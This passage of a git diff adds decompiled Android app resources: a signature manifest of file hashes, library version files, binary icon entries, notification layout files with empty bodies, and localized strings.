res/layout-v21/notification_template_custom_big.xml +SHA1-Digest: GskipuyuxFYTJgaMJeCGBQq3o3g= + +Name: res/layout-v21/notification_template_icon_group.xml +SHA1-Digest: Q+RITn8JhuTRX99rDKEo9DWVQZ0= + +Name: res/layout/activity_main.xml +SHA1-Digest: Q5qZzEEEpYcOYSRJW6xfEFpIQe4= + +Name: res/layout/notification_action.xml +SHA1-Digest: EzWXinX/fm78HHpxMoZs7BGB+qU= + +Name: res/layout/notification_action_tombstone.xml +SHA1-Digest: S1HH1vazMCAQER2MwOlykwPYbGY= + +Name: res/layout/notification_template_custom_big.xml +SHA1-Digest: tDe6kk8f7sxJTfsaIcGQbWADqm0= + +Name: res/layout/notification_template_icon_group.xml +SHA1-Digest: ejB3D6PLiXZOjzMxJbCjdZqZGg0= + +Name: res/layout/notification_template_part_chronometer.xml +SHA1-Digest: RApcwLPhtEiD90nnfrY+IL1sXzU= + +Name: res/layout/notification_template_part_time.xml +SHA1-Digest: 8f+j39hkWGlg90etPlVgKLTr8C8= + +Name: res/mipmap-anydpi-v26/ic_launcher.xml +SHA1-Digest: IaWcOn6OMSZz5y7b1//eB2KUxWk= + +Name: res/mipmap-anydpi-v26/ic_launcher_round.xml +SHA1-Digest: iMHWhoFxv1Tc+X+114w2/coMJLA= + +Name: res/mipmap-hdpi-v4/ic_launcher.png +SHA1-Digest: dczmD6f6ckvuYLLayyHuJolrGmc= + +Name: res/mipmap-hdpi-v4/ic_launcher_foreground.png +SHA1-Digest: DGCOxqISRwrFkmqsdh/goOQx3Ss= + +Name: res/mipmap-hdpi-v4/ic_launcher_round.png +SHA1-Digest: EDc6KnI+OXNUAXS7K1j2sKaeY5U= + +Name: res/mipmap-mdpi-v4/ic_launcher.png +SHA1-Digest: zSiuVoYCAAqXAIwAQ/CiHSk+cZU= + +Name: res/mipmap-mdpi-v4/ic_launcher_foreground.png +SHA1-Digest: bTnHPtXzduhoetQrf0Ert9v8tIk= + +Name: res/mipmap-mdpi-v4/ic_launcher_round.png +SHA1-Digest: qH2Wv9qChjejU6RgkFiACcIuq3g= + +Name: res/mipmap-xhdpi-v4/ic_launcher.png +SHA1-Digest: nh9DN/dCj5S5aIJn/IET93EoSvw= + +Name: res/mipmap-xhdpi-v4/ic_launcher_foreground.png +SHA1-Digest: blcoJ8gKy4L3quFRXcezQ2Np3IE= + +Name: res/mipmap-xhdpi-v4/ic_launcher_round.png +SHA1-Digest: G9ZDthDd7P5pGkMmYVaLRwrsjmI= + +Name: res/mipmap-xxhdpi-v4/ic_launcher.png +SHA1-Digest: ejOJI8bULNB81pzimOced5idKrM= + +Name: res/mipmap-xxhdpi-v4/ic_launcher_foreground.png +SHA1-Digest: g+1cNIft+45vIe9cuscolvWXWpI= + +Name: res/mipmap-xxhdpi-v4/ic_launcher_round.png +SHA1-Digest: 9KmxIM5xL4KV2ED6/6/QKharYYU= + +Name: res/mipmap-xxxhdpi-v4/ic_launcher.png +SHA1-Digest: qfyXlyD89z3+wDA62hlOEt9WX4w= + +Name: res/mipmap-xxxhdpi-v4/ic_launcher_foreground.png +SHA1-Digest: x7p4RHXAYgIH/MBrxVZJk1j7O+0= + +Name: res/mipmap-xxxhdpi-v4/ic_launcher_round.png +SHA1-Digest: JQO4sItCEOvr7gueLeojj/BtgoI= + +Name: resources.arsc +SHA1-Digest: pLvcj68/EspHCRKYi8Ud3y2PYFo= + diff --git a/app/factory/decompiled/original/META-INF/MANIFEST.MF b/app/factory/decompiled/original/META-INF/MANIFEST.MF new file mode 100644 index 0000000..934c143 --- /dev/null +++ b/app/factory/decompiled/original/META-INF/MANIFEST.MF @@ -0,0 +1,182 @@ +Manifest-Version: 1.0 +Built-By: Generated-by-ADT +Created-By: Android Gradle 3.4.2 + +Name: AndroidManifest.xml +SHA1-Digest: H7NoYB7XitUcBP/tmVSWWK4RaWY= + +Name: META-INF/android.arch.lifecycle_runtime.version +SHA1-Digest: OxxKFJcpzAROGjnfMbNijNv1+JU= + +Name: META-INF/androidx.core_core.version +SHA1-Digest: xTi2bHEQyjoCjM/kItDx+iAKmTU= + +Name: META-INF/androidx.versionedparcelable_versionedparcelable.versio + n +SHA1-Digest: xTi2bHEQyjoCjM/kItDx+iAKmTU= + +Name: classes.dex +SHA1-Digest: nfyXkI1RxCxUkOTHkBUiIMW0ous= + +Name: res/drawable-hdpi-v4/notification_bg_low_normal.9.png +SHA1-Digest: D2PhKM51tYZo8a79riJ3XiUD2nc= + +Name: res/drawable-hdpi-v4/notification_bg_low_pressed.9.png +SHA1-Digest: NP77wvGcwseigxPz8Z8jideVqXk= + +Name: res/drawable-hdpi-v4/notification_bg_normal.9.png +SHA1-Digest: ralFi/xjLzZzimSmlAGCFAUgfbE= + +Name: res/drawable-hdpi-v4/notification_bg_normal_pressed.9.png +SHA1-Digest: 4j+L3Jzr2U70TU9dUenWhtYe/lU= + +Name: res/drawable-hdpi-v4/notify_panel_notification_icon_bg.png +SHA1-Digest: lHP2KU/WCXjWVnoatuFo6tnTPPs= + +Name: res/drawable-mdpi-v4/notification_bg_low_normal.9.png +SHA1-Digest: sUXBSDmIwrVhXMAYtsmpMAdZsVM= + +Name: res/drawable-mdpi-v4/notification_bg_low_pressed.9.png +SHA1-Digest: 58BeVrWmam0XTYtOcBJSh3YmiJQ= + +Name: res/drawable-mdpi-v4/notification_bg_normal.9.png +SHA1-Digest: Wl4jBkhtPS9E+JkWaS0GOyoMbuw= + +Name: res/drawable-mdpi-v4/notification_bg_normal_pressed.9.png +SHA1-Digest: qf8Bo3OrZFOkS8OQT2FTwy3VSA8= + +Name: res/drawable-mdpi-v4/notify_panel_notification_icon_bg.png +SHA1-Digest: z0oai5b1MK3J/UNjdCA5ECdf2qg= + +Name: res/drawable-v21/notification_action_background.xml +SHA1-Digest: ahh4DXzIg7KHjR4O8GNZRkDq+sc= + +Name: res/drawable-xhdpi-v4/notification_bg_low_normal.9.png +SHA1-Digest: dnObiFrk1DvtR5VGgJWQwE6oNeo= + +Name: res/drawable-xhdpi-v4/notification_bg_low_pressed.9.png +SHA1-Digest: 9MYmMKRnfwttaoRGc1WDg0jzgyY= + +Name: res/drawable-xhdpi-v4/notification_bg_normal.9.png +SHA1-Digest: URz3Lz/tIjMAtXfNHimWcDQLTtQ= + +Name: res/drawable-xhdpi-v4/notification_bg_normal_pressed.9.png +SHA1-Digest: iJFesSsAAmE1zFB9XbiCZW1cKKU= + +Name: res/drawable-xhdpi-v4/notify_panel_notification_icon_bg.png +SHA1-Digest: qtoCsdEoyaDYmAvH44tfVLv6hoY= + +Name: res/drawable/notification_bg.xml +SHA1-Digest: LKsBeTAkpICXXSXqeJy+FBjmV6s= + +Name: res/drawable/notification_bg_low.xml +SHA1-Digest: llIquDNpnOatx9ooUyxBchIFfbA= + +Name: res/drawable/notification_icon_background.xml +SHA1-Digest: zVHJduXPP8NwinAQCFKja/BVxQs= + +Name: res/drawable/notification_tile_bg.xml +SHA1-Digest: YKsJ15gsA+k4Ki34nO89lXtB54k= + +Name: res/layout-v16/notification_template_custom_big.xml +SHA1-Digest: wxOc8B5C0T4HgqDGWW83VdpseiE= + +Name: res/layout-v17/activity_main.xml +SHA1-Digest: U2plx+erBWwhBr64eprc8rWy3js= + +Name: res/layout-v17/notification_action.xml +SHA1-Digest: OspMX+wTFtQnd5Ww+rurwUz/ja8= + +Name: res/layout-v17/notification_action_tombstone.xml +SHA1-Digest: llQY7Aoh2hrWawwRMDPV7RQTJJw= + +Name: res/layout-v17/notification_template_custom_big.xml +SHA1-Digest: O7/LuvibgfOp/fahy0sVuM2sryI= + +Name: res/layout-v21/notification_action.xml +SHA1-Digest: Fo89dRReih2gmYNU5TUZYyR0geE= + +Name: res/layout-v21/notification_action_tombstone.xml +SHA1-Digest: EkLx1It0NCUFl1R2Lpr0urDDuMU= + +Name: res/layout-v21/notification_template_custom_big.xml +SHA1-Digest: 5BiN/RbcFoRnoQCoHhFkVsCpMHo= + +Name: res/layout-v21/notification_template_icon_group.xml +SHA1-Digest: iEC+W17JMn61p8PVwKw3zXITtCE= + +Name: res/layout/activity_main.xml +SHA1-Digest: Ykm1nNYD2LS2ZIKqRsXi+Q+X0EQ= + +Name: res/layout/notification_action.xml +SHA1-Digest: d6QlSmH2hVUxINhNL/+NRqdx3Jo= + +Name: res/layout/notification_action_tombstone.xml +SHA1-Digest: fnB+5IfCyv2F4HDi7njfdF3CyU0= + +Name: res/layout/notification_template_custom_big.xml +SHA1-Digest: h6ypWY0aAVEP3rbjmnqmr4utx+4= + +Name: res/layout/notification_template_icon_group.xml +SHA1-Digest: NHXWtkfAUZ7Y4W6+LuYzmrhrM8M= + +Name: res/layout/notification_template_part_chronometer.xml +SHA1-Digest: CpePX0Swh6O4DsIQ+3MhggXfn8E= + +Name: res/layout/notification_template_part_time.xml +SHA1-Digest: J1MZ7lTIokOYCHE/3CrJxdjJZII= + +Name: res/mipmap-anydpi-v26/ic_launcher.xml +SHA1-Digest: 47Wrr0L5u//HrdR+ydw1DJsE2HY= + +Name: res/mipmap-anydpi-v26/ic_launcher_round.xml +SHA1-Digest: 47Wrr0L5u//HrdR+ydw1DJsE2HY= + +Name: res/mipmap-hdpi-v4/ic_launcher.png +SHA1-Digest: Az7eCHDW1WJ65isMhK5fUu97x2U= + +Name: res/mipmap-hdpi-v4/ic_launcher_foreground.png +SHA1-Digest: zuSZv0eX0Slge8oOeCJj8lGS7AY= + +Name: res/mipmap-hdpi-v4/ic_launcher_round.png +SHA1-Digest: D+lGi10fQJOJaeJopY3pKUeLVKA= + +Name: res/mipmap-mdpi-v4/ic_launcher.png +SHA1-Digest: cnxEsLsySM6usKLiCeGu+ch4h2o= + +Name: res/mipmap-mdpi-v4/ic_launcher_foreground.png +SHA1-Digest: DhEKTsotpno1+qK785KRqy2LV0s= + +Name: res/mipmap-mdpi-v4/ic_launcher_round.png +SHA1-Digest: lNJ/y3NHBLrK7bXpxnETOk6nFE8= + +Name: res/mipmap-xhdpi-v4/ic_launcher.png +SHA1-Digest: 9Z6aG1rdjL1JM+5rr0bT4V53W+w= + +Name: res/mipmap-xhdpi-v4/ic_launcher_foreground.png +SHA1-Digest: znJVmP7NXWUh41NYKfeAkhCIebc= + +Name: res/mipmap-xhdpi-v4/ic_launcher_round.png +SHA1-Digest: AHrJ5hek1oOGOms/fmd/3UOAWHI= + +Name: res/mipmap-xxhdpi-v4/ic_launcher.png +SHA1-Digest: D7dtqI/PMq7Zeg8yIZ8pnj1mpGg= + +Name: res/mipmap-xxhdpi-v4/ic_launcher_foreground.png +SHA1-Digest: ludOnLPEKk4odyFRUHavLYCRgw0= + +Name: res/mipmap-xxhdpi-v4/ic_launcher_round.png +SHA1-Digest: 3MWQnkb4FFvC9aI2uaGltMlVANQ= + +Name: res/mipmap-xxxhdpi-v4/ic_launcher.png +SHA1-Digest: XjCSyAK2oaGNM8hf5UuhChFMnsk= + +Name: res/mipmap-xxxhdpi-v4/ic_launcher_foreground.png +SHA1-Digest: bLEIjVpuqFG7M7qzVYqN5IWxU70= + +Name: res/mipmap-xxxhdpi-v4/ic_launcher_round.png +SHA1-Digest: 1rbjkPp9cl5NhOKl6u1sJwjuKqE= + +Name: resources.arsc +SHA1-Digest: oY0Z4W/1+wnrkqtyD7ns8E2LZIo= + diff --git a/app/factory/decompiled/original/META-INF/android.arch.lifecycle_runtime.version b/app/factory/decompiled/original/META-INF/android.arch.lifecycle_runtime.version new file mode 100644 index 0000000..524cb55 --- /dev/null +++ b/app/factory/decompiled/original/META-INF/android.arch.lifecycle_runtime.version @@ -0,0 +1 @@ +1.1.1 diff --git a/app/factory/decompiled/original/META-INF/androidx.core_core.version b/app/factory/decompiled/original/META-INF/androidx.core_core.version new file mode 100644 index 0000000..3eefcb9 --- /dev/null +++ b/app/factory/decompiled/original/META-INF/androidx.core_core.version @@ -0,0 +1 @@ +1.0.0 diff --git a/app/factory/decompiled/original/META-INF/androidx.versionedparcelable_versionedparcelable.version b/app/factory/decompiled/original/META-INF/androidx.versionedparcelable_versionedparcelable.version new file mode 100644 index 0000000..3eefcb9 --- /dev/null +++ b/app/factory/decompiled/original/META-INF/androidx.versionedparcelable_versionedparcelable.version @@ -0,0 +1 @@ +1.0.0 diff --git a/app/factory/decompiled/res/drawable-hdpi/notification_bg_low_normal.9.png b/app/factory/decompiled/res/drawable-hdpi/notification_bg_low_normal.9.png new file mode 100644 index 0000000..766620a Binary files /dev/null and b/app/factory/decompiled/res/drawable-hdpi/notification_bg_low_normal.9.png differ diff --git a/app/factory/decompiled/res/drawable-hdpi/notification_bg_low_pressed.9.png b/app/factory/decompiled/res/drawable-hdpi/notification_bg_low_pressed.9.png new file mode 100644 index 0000000..cfd771d Binary files /dev/null and b/app/factory/decompiled/res/drawable-hdpi/notification_bg_low_pressed.9.png differ diff --git a/app/factory/decompiled/res/drawable-hdpi/notification_bg_normal.9.png b/app/factory/decompiled/res/drawable-hdpi/notification_bg_normal.9.png new file mode 100644 index 0000000..b4a987a Binary files /dev/null and b/app/factory/decompiled/res/drawable-hdpi/notification_bg_normal.9.png differ diff --git a/app/factory/decompiled/res/drawable-hdpi/notification_bg_normal_pressed.9.png b/app/factory/decompiled/res/drawable-hdpi/notification_bg_normal_pressed.9.png new file mode 100644 index 0000000..e218739 Binary files /dev/null and b/app/factory/decompiled/res/drawable-hdpi/notification_bg_normal_pressed.9.png differ diff --git a/app/factory/decompiled/res/drawable-hdpi/notify_panel_notification_icon_bg.png b/app/factory/decompiled/res/drawable-hdpi/notify_panel_notification_icon_bg.png new file mode 100644 index 0000000..6f37a22 Binary files /dev/null and b/app/factory/decompiled/res/drawable-hdpi/notify_panel_notification_icon_bg.png differ diff --git a/app/factory/decompiled/res/drawable-mdpi/notification_bg_low_normal.9.png b/app/factory/decompiled/res/drawable-mdpi/notification_bg_low_normal.9.png new file mode 100644 index 0000000..28b7c42 Binary files /dev/null and b/app/factory/decompiled/res/drawable-mdpi/notification_bg_low_normal.9.png differ diff --git a/app/factory/decompiled/res/drawable-mdpi/notification_bg_low_pressed.9.png b/app/factory/decompiled/res/drawable-mdpi/notification_bg_low_pressed.9.png new file mode 100644 index 0000000..b45c6cd Binary files /dev/null and b/app/factory/decompiled/res/drawable-mdpi/notification_bg_low_pressed.9.png differ diff --git a/app/factory/decompiled/res/drawable-mdpi/notification_bg_normal.9.png b/app/factory/decompiled/res/drawable-mdpi/notification_bg_normal.9.png new file mode 100644 index 0000000..ef2b40d Binary files /dev/null and b/app/factory/decompiled/res/drawable-mdpi/notification_bg_normal.9.png differ diff --git a/app/factory/decompiled/res/drawable-mdpi/notification_bg_normal_pressed.9.png b/app/factory/decompiled/res/drawable-mdpi/notification_bg_normal_pressed.9.png new file mode 100644 index 0000000..d915733 Binary files /dev/null and b/app/factory/decompiled/res/drawable-mdpi/notification_bg_normal_pressed.9.png differ diff --git a/app/factory/decompiled/res/drawable-mdpi/notify_panel_notification_icon_bg.png b/app/factory/decompiled/res/drawable-mdpi/notify_panel_notification_icon_bg.png new file mode 100644 index 0000000..c286875 Binary files /dev/null and b/app/factory/decompiled/res/drawable-mdpi/notify_panel_notification_icon_bg.png differ diff --git a/app/factory/decompiled/res/drawable-v21/notification_action_background.xml b/app/factory/decompiled/res/drawable-v21/notification_action_background.xml new file mode 100644 index 0000000..d92af3b --- /dev/null +++ b/app/factory/decompiled/res/drawable-v21/notification_action_background.xml @@ -0,0 +1,14 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/app/factory/decompiled/res/drawable-xhdpi/notification_bg_low_normal.9.png b/app/factory/decompiled/res/drawable-xhdpi/notification_bg_low_normal.9.png new file mode 100644 index 0000000..a5ba934 Binary files /dev/null and b/app/factory/decompiled/res/drawable-xhdpi/notification_bg_low_normal.9.png differ diff --git a/app/factory/decompiled/res/drawable-xhdpi/notification_bg_low_pressed.9.png b/app/factory/decompiled/res/drawable-xhdpi/notification_bg_low_pressed.9.png new file mode 100644 index 0000000..a320575 Binary files /dev/null and b/app/factory/decompiled/res/drawable-xhdpi/notification_bg_low_pressed.9.png differ diff --git a/app/factory/decompiled/res/drawable-xhdpi/notification_bg_normal.9.png b/app/factory/decompiled/res/drawable-xhdpi/notification_bg_normal.9.png new file mode 100644 index 0000000..0f5d16d Binary files /dev/null and b/app/factory/decompiled/res/drawable-xhdpi/notification_bg_normal.9.png differ diff --git a/app/factory/decompiled/res/drawable-xhdpi/notification_bg_normal_pressed.9.png b/app/factory/decompiled/res/drawable-xhdpi/notification_bg_normal_pressed.9.png new file mode 100644 index 0000000..1a61646 Binary files /dev/null and b/app/factory/decompiled/res/drawable-xhdpi/notification_bg_normal_pressed.9.png differ diff --git a/app/factory/decompiled/res/drawable-xhdpi/notify_panel_notification_icon_bg.png b/app/factory/decompiled/res/drawable-xhdpi/notify_panel_notification_icon_bg.png new file mode 100644 index 0000000..9128e62 Binary files /dev/null and b/app/factory/decompiled/res/drawable-xhdpi/notify_panel_notification_icon_bg.png differ diff --git a/app/factory/decompiled/res/drawable/notification_bg.xml b/app/factory/decompiled/res/drawable/notification_bg.xml new file mode 100644 index 0000000..5105590 --- /dev/null +++ b/app/factory/decompiled/res/drawable/notification_bg.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/app/factory/decompiled/res/drawable/notification_bg_low.xml b/app/factory/decompiled/res/drawable/notification_bg_low.xml new file mode 100644 index 0000000..a74fae2 --- /dev/null +++ b/app/factory/decompiled/res/drawable/notification_bg_low.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/app/factory/decompiled/res/drawable/notification_icon_background.xml b/app/factory/decompiled/res/drawable/notification_icon_background.xml new file mode 100644 index 0000000..0ea0d03 --- /dev/null +++ b/app/factory/decompiled/res/drawable/notification_icon_background.xml @@ -0,0 +1,5 @@ + + + + \ No newline at end of file diff --git a/app/factory/decompiled/res/drawable/notification_tile_bg.xml b/app/factory/decompiled/res/drawable/notification_tile_bg.xml new file mode 100644 index 0000000..69f6f46 --- /dev/null +++ b/app/factory/decompiled/res/drawable/notification_tile_bg.xml @@ -0,0 +1,3 @@ + + \ No newline at end of file diff --git a/app/factory/decompiled/res/layout-v16/notification_template_custom_big.xml b/app/factory/decompiled/res/layout-v16/notification_template_custom_big.xml new file mode 100644 index 0000000..0c7e986 --- /dev/null +++ b/app/factory/decompiled/res/layout-v16/notification_template_custom_big.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/server/app/factory/decompiled/res/layout-v17/activity_main.xml b/app/factory/decompiled/res/layout-v17/activity_main.xml similarity index 100% rename from server/app/factory/decompiled/res/layout-v17/activity_main.xml rename to app/factory/decompiled/res/layout-v17/activity_main.xml diff --git a/app/factory/decompiled/res/layout-v17/notification_action.xml b/app/factory/decompiled/res/layout-v17/notification_action.xml new file mode 100644 index 0000000..2e11c14 --- /dev/null +++ b/app/factory/decompiled/res/layout-v17/notification_action.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/app/factory/decompiled/res/layout-v17/notification_action_tombstone.xml b/app/factory/decompiled/res/layout-v17/notification_action_tombstone.xml new file mode 100644 index 0000000..473a84c --- /dev/null +++ b/app/factory/decompiled/res/layout-v17/notification_action_tombstone.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/app/factory/decompiled/res/layout-v17/notification_template_custom_big.xml b/app/factory/decompiled/res/layout-v17/notification_template_custom_big.xml new file mode 100644 index 0000000..59a3e40 --- /dev/null +++ b/app/factory/decompiled/res/layout-v17/notification_template_custom_big.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/app/factory/decompiled/res/layout-v21/notification_action.xml b/app/factory/decompiled/res/layout-v21/notification_action.xml new file mode 100644 index 0000000..b58f9d9 --- /dev/null +++ b/app/factory/decompiled/res/layout-v21/notification_action.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/app/factory/decompiled/res/layout-v21/notification_action_tombstone.xml b/app/factory/decompiled/res/layout-v21/notification_action_tombstone.xml new file mode 100644 index 0000000..cc35f17 --- /dev/null +++ b/app/factory/decompiled/res/layout-v21/notification_action_tombstone.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/app/factory/decompiled/res/layout-v21/notification_template_custom_big.xml b/app/factory/decompiled/res/layout-v21/notification_template_custom_big.xml new file mode 100644 index 0000000..2181877 --- /dev/null +++ b/app/factory/decompiled/res/layout-v21/notification_template_custom_big.xml @@ -0,0 +1,17 @@ + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/app/factory/decompiled/res/layout-v21/notification_template_icon_group.xml b/app/factory/decompiled/res/layout-v21/notification_template_icon_group.xml new file mode 100644 index 0000000..88a406b --- /dev/null +++ b/app/factory/decompiled/res/layout-v21/notification_template_icon_group.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/server/app/factory/decompiled/res/layout/activity_main.xml b/app/factory/decompiled/res/layout/activity_main.xml similarity index 100% rename from server/app/factory/decompiled/res/layout/activity_main.xml rename to app/factory/decompiled/res/layout/activity_main.xml diff --git a/app/factory/decompiled/res/layout/notification_action.xml b/app/factory/decompiled/res/layout/notification_action.xml new file mode 100644 index 0000000..9357fee --- /dev/null +++ b/app/factory/decompiled/res/layout/notification_action.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/app/factory/decompiled/res/layout/notification_action_tombstone.xml b/app/factory/decompiled/res/layout/notification_action_tombstone.xml new file mode 100644 index 0000000..1ac2d16 --- /dev/null +++ b/app/factory/decompiled/res/layout/notification_action_tombstone.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/app/factory/decompiled/res/layout/notification_template_custom_big.xml b/app/factory/decompiled/res/layout/notification_template_custom_big.xml new file mode 100644 index 0000000..dda1db7 --- /dev/null +++ b/app/factory/decompiled/res/layout/notification_template_custom_big.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/app/factory/decompiled/res/layout/notification_template_icon_group.xml b/app/factory/decompiled/res/layout/notification_template_icon_group.xml new file mode 100644 index 0000000..69419ab --- /dev/null +++ b/app/factory/decompiled/res/layout/notification_template_icon_group.xml @@ -0,0 +1,3 @@ + + \ No newline at end of file diff --git a/app/factory/decompiled/res/layout/notification_template_part_chronometer.xml b/app/factory/decompiled/res/layout/notification_template_part_chronometer.xml new file mode 100644 index 0000000..a7851ef --- /dev/null +++ b/app/factory/decompiled/res/layout/notification_template_part_chronometer.xml @@ -0,0 +1,3 @@ + + \ No newline at end of file diff --git a/app/factory/decompiled/res/layout/notification_template_part_time.xml b/app/factory/decompiled/res/layout/notification_template_part_time.xml new file mode 100644 index 0000000..414ae12 --- /dev/null +++ b/app/factory/decompiled/res/layout/notification_template_part_time.xml @@ -0,0 +1,3 @@ + + \ No newline at end of file diff --git a/app/factory/decompiled/res/mipmap-anydpi-v26/ic_launcher.xml b/app/factory/decompiled/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..bf73fe6 --- /dev/null +++ b/app/factory/decompiled/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/app/factory/decompiled/res/mipmap-anydpi-v26/ic_launcher_round.xml b/app/factory/decompiled/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..bf73fe6 --- /dev/null +++ b/app/factory/decompiled/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/app/factory/decompiled/res/mipmap-hdpi/ic_launcher.png b/app/factory/decompiled/res/mipmap-hdpi/ic_launcher.png new file mode 100644 index 0000000..d1714af Binary files /dev/null and b/app/factory/decompiled/res/mipmap-hdpi/ic_launcher.png differ diff --git a/app/factory/decompiled/res/mipmap-hdpi/ic_launcher_foreground.png b/app/factory/decompiled/res/mipmap-hdpi/ic_launcher_foreground.png new file mode 100644 index 0000000..7eaa4b5 Binary files /dev/null and b/app/factory/decompiled/res/mipmap-hdpi/ic_launcher_foreground.png differ diff --git a/app/factory/decompiled/res/mipmap-hdpi/ic_launcher_round.png b/app/factory/decompiled/res/mipmap-hdpi/ic_launcher_round.png new file mode 100644 index 0000000..b048a70 Binary files /dev/null and b/app/factory/decompiled/res/mipmap-hdpi/ic_launcher_round.png differ diff --git a/app/factory/decompiled/res/mipmap-mdpi/ic_launcher.png b/app/factory/decompiled/res/mipmap-mdpi/ic_launcher.png new file mode 100644 index 0000000..d5878f6 Binary files /dev/null and b/app/factory/decompiled/res/mipmap-mdpi/ic_launcher.png differ diff --git a/app/factory/decompiled/res/mipmap-mdpi/ic_launcher_foreground.png b/app/factory/decompiled/res/mipmap-mdpi/ic_launcher_foreground.png new file mode 100644 index 0000000..90d12ec Binary files /dev/null and b/app/factory/decompiled/res/mipmap-mdpi/ic_launcher_foreground.png differ diff --git a/app/factory/decompiled/res/mipmap-mdpi/ic_launcher_round.png b/app/factory/decompiled/res/mipmap-mdpi/ic_launcher_round.png new file mode 100644 index 0000000..abb20c5 Binary files /dev/null and b/app/factory/decompiled/res/mipmap-mdpi/ic_launcher_round.png differ diff --git a/app/factory/decompiled/res/mipmap-xhdpi/ic_launcher.png b/app/factory/decompiled/res/mipmap-xhdpi/ic_launcher.png new file mode 100644 index 0000000..84ad6b1 Binary files /dev/null and b/app/factory/decompiled/res/mipmap-xhdpi/ic_launcher.png differ diff --git a/app/factory/decompiled/res/mipmap-xhdpi/ic_launcher_foreground.png b/app/factory/decompiled/res/mipmap-xhdpi/ic_launcher_foreground.png new file mode 100644 index 0000000..992c962 Binary files /dev/null and b/app/factory/decompiled/res/mipmap-xhdpi/ic_launcher_foreground.png differ diff --git a/app/factory/decompiled/res/mipmap-xhdpi/ic_launcher_round.png b/app/factory/decompiled/res/mipmap-xhdpi/ic_launcher_round.png new file mode 100644 index 0000000..233312c Binary files /dev/null and b/app/factory/decompiled/res/mipmap-xhdpi/ic_launcher_round.png differ diff --git a/app/factory/decompiled/res/mipmap-xxhdpi/ic_launcher.png b/app/factory/decompiled/res/mipmap-xxhdpi/ic_launcher.png new file mode 100644 index 0000000..6435d07 Binary files /dev/null and b/app/factory/decompiled/res/mipmap-xxhdpi/ic_launcher.png differ diff --git a/app/factory/decompiled/res/mipmap-xxhdpi/ic_launcher_foreground.png b/app/factory/decompiled/res/mipmap-xxhdpi/ic_launcher_foreground.png new file mode 100644 index 0000000..62e666f Binary files /dev/null and b/app/factory/decompiled/res/mipmap-xxhdpi/ic_launcher_foreground.png differ diff --git a/app/factory/decompiled/res/mipmap-xxhdpi/ic_launcher_round.png b/app/factory/decompiled/res/mipmap-xxhdpi/ic_launcher_round.png new file mode 100644 index 0000000..35a343f Binary files /dev/null and b/app/factory/decompiled/res/mipmap-xxhdpi/ic_launcher_round.png differ diff --git a/app/factory/decompiled/res/mipmap-xxxhdpi/ic_launcher.png b/app/factory/decompiled/res/mipmap-xxxhdpi/ic_launcher.png new file mode 100644 index 0000000..de99859 Binary files /dev/null and b/app/factory/decompiled/res/mipmap-xxxhdpi/ic_launcher.png differ diff --git a/app/factory/decompiled/res/mipmap-xxxhdpi/ic_launcher_foreground.png b/app/factory/decompiled/res/mipmap-xxxhdpi/ic_launcher_foreground.png new file mode 100644 index 0000000..3f22790 Binary files /dev/null and b/app/factory/decompiled/res/mipmap-xxxhdpi/ic_launcher_foreground.png differ diff --git a/app/factory/decompiled/res/mipmap-xxxhdpi/ic_launcher_round.png b/app/factory/decompiled/res/mipmap-xxxhdpi/ic_launcher_round.png new file mode 100644 index 0000000..f53a971 Binary files /dev/null and b/app/factory/decompiled/res/mipmap-xxxhdpi/ic_launcher_round.png differ diff --git a/app/factory/decompiled/res/values-af/strings.xml b/app/factory/decompiled/res/values-af/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-af/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-am/strings.xml b/app/factory/decompiled/res/values-am/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-am/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-ar/strings.xml b/app/factory/decompiled/res/values-ar/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-ar/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-as/strings.xml b/app/factory/decompiled/res/values-as/strings.xml new file mode 100644 index 0000000..258e0d5 --- /dev/null +++ b/app/factory/decompiled/res/values-as/strings.xml @@ -0,0 +1,4 @@ + + + ৯৯৯+ + diff --git a/app/factory/decompiled/res/values-az/strings.xml b/app/factory/decompiled/res/values-az/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-az/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-b+sr+Latn/strings.xml b/app/factory/decompiled/res/values-b+sr+Latn/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-b+sr+Latn/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-be/strings.xml b/app/factory/decompiled/res/values-be/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-be/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-bg/strings.xml b/app/factory/decompiled/res/values-bg/strings.xml new file mode 100644 index 